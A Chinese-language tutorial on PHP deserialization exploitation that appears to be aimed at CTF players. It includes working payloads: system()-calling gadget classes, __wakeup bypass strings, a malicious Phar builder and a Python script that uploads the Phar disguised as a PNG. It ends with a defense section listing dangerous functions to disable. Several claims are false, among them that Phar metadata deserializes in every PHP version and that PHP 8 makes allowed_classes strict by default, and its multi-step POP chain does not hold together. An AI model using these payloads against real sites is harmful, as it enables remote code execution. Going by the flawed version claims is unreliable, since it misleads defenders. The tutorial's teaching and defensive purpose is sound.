一、PHP 序列化格式

PHP 的 serialize 输出是自描述的格式,每种类型有不同前缀:

<?php
class User {
    public $name = "admin";
    private $pass = "secret";
    protected $role = "root";
}
$u = new User();
echo serialize($u);
// O:4:"User":3:{s:4:"name";s:5:"admin";s:10:"\0User\0pass";s:6:"secret";s:8:"\0*\0role";s:4:"root";}

类型前缀:a=array, s=string, i=int, b=bool, N=null, O=object, C=class。

私有属性编码要点:private User::$pass 在序列化时变成 s:10:"\0User\0pass",那个 \0 是真正的 null 字节(ASCII 0x00),不是转义序列。这在 CTF 手工构造 payload 时经常踩坑。

二、所有魔术方法

方法 触发时机 说明
__wakeup() 反序列化开始前(PHP<7.4) 最常见入口
__unserialize(array) PHP>=7.4 替代 __wakeup 接收属性数组
__destruct() 对象被销毁 GC 回收时触发
__toString() 对象当字符串用 echo / file_put_contents
__call($m,$a) 调用不存在的方法 可转调任意 callable
__get($p) 访问不存在的属性
__set($p,$v) 赋值不存在的属性
__invoke(...$a) 对象当函数用

触发顺序

1. __wakeup() 或 __unserialize()           ← 反序列化时
2. 属性赋值完成                            ← PHP 自动
3. 对象被使用时 → __toString / __call / __get 等
4. 对象销毁时 → __destruct()              ← GC 或脚本结束

三、__wakeup 绕过

3.1 属性数不一致绕过(PHP<5.6.25 / 7.0.10)

<?php
class Evil {
    public $cmd = "ls";
    public function __wakeup() { echo "wakeup triggered\n"; }
    public function __destruct() { system($this->cmd); }
}
$normal = serialize(new Evil());  // O:4:"Evil":1:{s:3:"cmd";s:2:"ls";}
$bypass = 'O:4:"Evil":2:{s:3:"cmd";s:2:"ls";}'; // 属性数改成 2,但实际只有 1 个
unserialize($bypass); // __wakeup 不触发,直接执行 __destruct

原理:PHP 反序列化对象时会先校验"实际属性数"与声明的属性数是否一致,不一致时跳过 __wakeup。

3.2 Python 一键绕过脚本

import re
def bypass_wakeup(s):
    return re.sub(
        r'(O:\d+:"[^"]+":)(\d+)(:)',
        lambda m: m.group(1) + str(int(m.group(2)) + 1) + m.group(3),
        s)

3.3 PHP 7.4+ __unserialize 绕过

__unserialize(array) 取代 __wakeup,绕过需要改函数名。

四、POP 链实战

4.1 简化版单步链

class Exploit {
    public $cmd = "id";
    public function __destruct() {
        system($this->cmd);  // sink
    }
}
echo serialize(new Exploit());
// O:7:"Exploit":1:{s:3:"cmd";s:2:"id";}

4.2 多步 POP 链

真实场景中不会直接有 Exploit 类。下面是一个需要多步拼接的链:

// 入口点:登录功能反序列化 cookie
class Login {
    public $user;
    public function __unserialize($arr) {
        $this->user = $arr['user'];
    }
    public function check() {
        if ($this->user->username === 'admin') { }
        // $this->user 被当作对象用 → 触发 __toString 如果不是 User
    }
}

// 中间跳板
class User {
    public $name;
    public function __call($method, $args) {
        return ($this->name)($method, $args);  // Closure::__invoke 或 call_user_func
    }
}

// 末端 sink
class Executor {
    public $cmd;
    public function __invoke() {
        system($this->cmd);
    }
}

4.3 完整链构造

Login.__unserialize → $this->user = User 对象
  User 对象被使用时 → User.__call("check", [])
    User.__call → ($this->name)("check", [])
      $this->name = Closure → __invoke → 任意代码

PHP 7.0+ Closure::fromCallable() 可以把任意函数包装成 Closure,链末端非常好用。

五、Phar 反序列化旁路

5.1 原理

Phar 文件本质是 zip-like 结构,末尾有反序列化的 manifest。任何 PHP 版本读 phar:// 流包装器都会自动解析并反序列化这个 manifest。

5.2 构造恶意 Phar

<?php
class Evil {
    public function __destruct() { system("id"); }
}
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil());
$phar->stopBuffering();

5.3 触发场景

// 下面这些函数都支持 phar:// 包装器
if (file_exists($_GET['path'])) { }  // 触发
is_readable($_GET['path']);          // 触发
file_get_contents($_GET['path']);    // 触发(如果是 phar://)
copy("evil.phar","evil.zip"); file_exists("zip://evil.zip"); // 压缩绕过

5.4 Python 绕过 .phar 后缀限制

import requests
# 如果目标只允许 .png 后缀
with open('evil.phar','rb') as f:
    content = f.read()
# 直接改扩展名上传
requests.post("http://target/upload", files={"f":("evil.png", content)})
# 然后访问 phar:///uploads/evil.png

六、防御方案

// 1. 严格白名单反序列化
$data = unserialize($payload, ['allowed_classes' => false]);

// 2. php.ini 禁用危险函数
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,pcntl_exec

// 3. 禁用 stream wrapper
stream_wrapper_unregister('phar');
stream_wrapper_unregister('data');

// 4. 关闭 allow_url_include
allow_url_include = Off

// 5. 升级 PHP 7.4+ 利用 __unserialize 替代 __wakeup

七、真实案例

  • ThinkPHP 5.x unserialize($data['username'])
  • WordPress 旧版本 phpmailer 对象注入
  • Discuz 社区登录 cookie 反序列化

八、总结

PHP 反序列化链的构造模型是 入口魔术方法 → 中间魔术方法 → 末端 sink。和 Java 不同,PHP 的魔术方法在语言层面就是为反序列化准备的,所以链更短更直接。Phar 反序列化作为旁路攻击面,常在没有 unserialize() 的场景下成为突破口。防御的核心是 allowed_classes 白名单和禁用危险函数。

九、private / protected 属性编码

PHP 序列化时属性的可访问性决定了编码方式:

public  $name   → s:4:"name"                (正常)
private $pass   → s:10:"\0User\0pass"        (类名 + \0 包裹)
protected $role → s:8:"\0*\0role"            (* + \0 包裹)

构造 payload 时如果搞错了编码格式,反序列化会直接失败(不触发魔术方法)。空字节 \0 是真正的 ASCII 0x00,在 CTF 手工构造时经常踩坑——复制粘贴时空字节被吞掉。

Python 构造带空字节的序列化串

NULL = chr(0)
private_prop = f's:10:"{NULL}User{NULL}pass"'
protected_prop = f's:8:"{NULL}*{NULL}role"'

十、PHP 版本差异

PHP 版本 变化 影响
< 5.6.25 / 7.0.10 属性数不一致绕过 __wakeup 不触发
>= 5.6.25 修复属性数绕过 必须换其他绕过
>= 7.4 __unserialize() 替代 __wakeup 绕过逻辑变化
>= 8.0 allowed_classes 默认严格 更安全

十一、ThinkPHP / 框架实战

ThinkPHP 5.x 存在多处反序列化入口:

// 框架内部反序列化
unserialize($data['username']);
// 如果 username 来自 cookie / header / 其他可控输入

攻击链一般是 __destruct → __call → spl_autoload_register → include 或者 __destruct → eval

十二、和 Java 反序列化对比

对比项 PHP Java
入口 unserialize() ObjectInputStream.readObject()
魔术方法 __wakeup/__destruct 等 自定义 readObject
需要 gadget 可选(有直接 sink 类) 必须(CC 等链)
语言特性 弱类型 + 魔术方法 强类型 + 反射
防御 allowed_classes ObjectInputFilter

十三、总结补充

PHP 反序列化攻击的两个核心技巧是:魔术方法链(入口 → 中间 → sink)和 Phar 旁路(没有 unserialize 但有 file_exists 等函数也能触发)。理解了这两点,就能在没有任何 PHP 代码的情况下(比如 CTF)仅靠构造序列化串打出漏洞。防御侧用 allowed_classes + disable_functions 双重防护,基本能挡住绝大多数 PHP 反序列化攻击。